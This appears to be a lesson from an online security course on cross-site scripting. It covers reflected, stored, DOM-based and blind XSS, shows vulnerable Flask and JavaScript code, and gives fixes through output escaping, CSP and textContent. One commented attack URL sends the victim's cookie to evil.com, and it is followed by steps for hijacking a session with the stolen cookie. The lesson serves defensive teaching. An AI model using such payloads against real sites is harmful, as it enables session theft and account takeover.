Lesson 4 of 11
Cross-Site Scripting (XSS)
XSS allows attackers to inject malicious JavaScript into web pages viewed by other users. It is the most prevalent web vulnerability and enables session hijacking, keylogging, phishing, malware distribution, and account takeover.
XSS Attack Types
- Reflected XSS: Malicious script comes from the user's request and is immediately reflected back in the response. Not stored on the server - requires tricking the victim into clicking a crafted URL. Example: Search results page: <h2>Results for: [unsanitized user input]</h2>
- Stored XSS (Persistent): Malicious script is saved to the database and rendered for every visitor. More dangerous than reflected - no need to target individual users. Common in comment sections, user profiles, forum posts
- DOM-based XSS: Script is injected via client-side JavaScript that reads unsanitized values from the URL/DOM. Never touches the server - bypasses server-side protections. Common with document.location, location.hash, innerHTML
- Blind XSS: Payload executes somewhere the attacker cannot directly observe - admin panels, log viewers, support ticket systems. Use XSS Hunter to receive callbacks when payloads fire
XSS Attack & Defense
# VULNERABLE: Unsafe HTML rendering
# Python Flask example
@app.route('/search')
def search():
query = request.args.get('q', '')
# Directly rendering user input in HTML template - XSS vulnerable
return f"<h2>Results for: {query}</h2>"
# Attack URL: /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
# When victim clicks this link, their session cookie is sent to evil.com
# What the attacker can do with stolen cookies:
# 1. Open browser dev tools → Application → Cookies
# 2. Set session cookie to stolen value
# 3. Refresh page → now logged in as victim
# ============================================================
# DEFENSE 1: Output encoding (escape HTML special characters)
from markupsafe import escape # Flask/Jinja2 auto-escapes in templates
@app.route('/search')
def search():
query = request.args.get('q', '')
safe_query = escape(query)
# escape converts: < → < > → > " → " ' → '
return f"<h2>Results for: {safe_query}</h2>"
# <script> becomes <script> - rendered as text, not executed
# DEFENSE 2: Content Security Policy header
@app.after_request
def add_security_headers(response):
response.headers['Content-Security-Policy'] = (
"default-src 'self'; "
"script-src 'self' https://cdn.trusted.com; "
"object-src 'none'; "
"style-src 'self' 'unsafe-inline'; "
"img-src 'self' data: https:;"
)
return response
# CSP prevents inline scripts and scripts from untrusted origins from executingDOM-based XSS
// DOM-based XSS - vulnerable JavaScript
// URL: https://example.com/page#<img src=x onerror=alert(1)>
// VULNERABLE: Reading from location.hash and inserting into DOM
const hash = location.hash.substring(1); // Gets fragment after #
document.getElementById('welcome').innerHTML = "Hello " + hash;
// ↑ innerHTML interprets HTML - XSS via location.hash
// VULNERABLE patterns to avoid:
document.write(userInput); // Dangerous
element.innerHTML = userInput; // Dangerous
document.getElementById('x').outerHTML = y; // Dangerous
eval(userInput); // EXTREMELY dangerous
// SAFE alternatives:
element.textContent = userInput; // Text only - no HTML parsing
element.innerText = userInput; // Safe text insertion
const node = document.createTextNode(input); // Create text node
// SAFE DOM manipulation:
const p = document.createElement('p');
p.textContent = userInput; // Not innerHTML!
container.appendChild(p);Common Mistakes
- Using innerHTML for any user-supplied content - use textContent/innerText for text; use DOMPurify (a sanitization library) if you must render HTML
- Encoding only for HTML context - output encoding must match context: HTML entities for HTML, JavaScript string escaping for JS, URL encoding for URL parameters. Wrong context encoding creates new vulnerabilities
- Relying only on CSP without output encoding - CSP is defense in depth, not a substitute for proper output encoding. Nonces help but CSP bypasses exist for many configurations
Tip
Tip
Practice CrossSite Scripting XSS in small, isolated examples before integrating into larger projects. Breaking concepts into small experiments builds genuine understanding faster than reading alone.
The foundational security model: Confidentiality (privacy), Integrity (trust), and Availability (uptime).
Practice Task
Note
Practice Task - (1) Write a working example of CrossSite Scripting XSS from scratch without looking at notes. (2) Modify it to handle an edge case (empty input, null value, or error state). (3) Share your solution in the Priygop community for feedback.
Quick Quiz
Common Mistake
Warning
A common mistake with CrossSite Scripting XSS is skipping edge case testing - empty inputs, null values, and unexpected data types. Always validate boundary conditions to write robust, production-ready cybersecurity code.
Key Takeaways
- XSS allows attackers to inject malicious JavaScript into web pages viewed by other users.
- Reflected XSS: Malicious script comes from the user's request and is immediately reflected back in the response. Not stored on the server - requires tricking the victim into clicking a crafted URL. Example: Search results page: <h2>Results for: [unsanitized user input]</h2>
- Stored XSS (Persistent): Malicious script is saved to the database and rendered for every visitor. More dangerous than reflected - no need to target individual users. Common in comment sections, user profiles, forum posts
- DOM-based XSS: Script is injected via client-side JavaScript that reads unsanitized values from the URL/DOM. Never touches the server - bypasses server-side protections. Common with document.location, location.hash, innerHTML
Finished this lesson?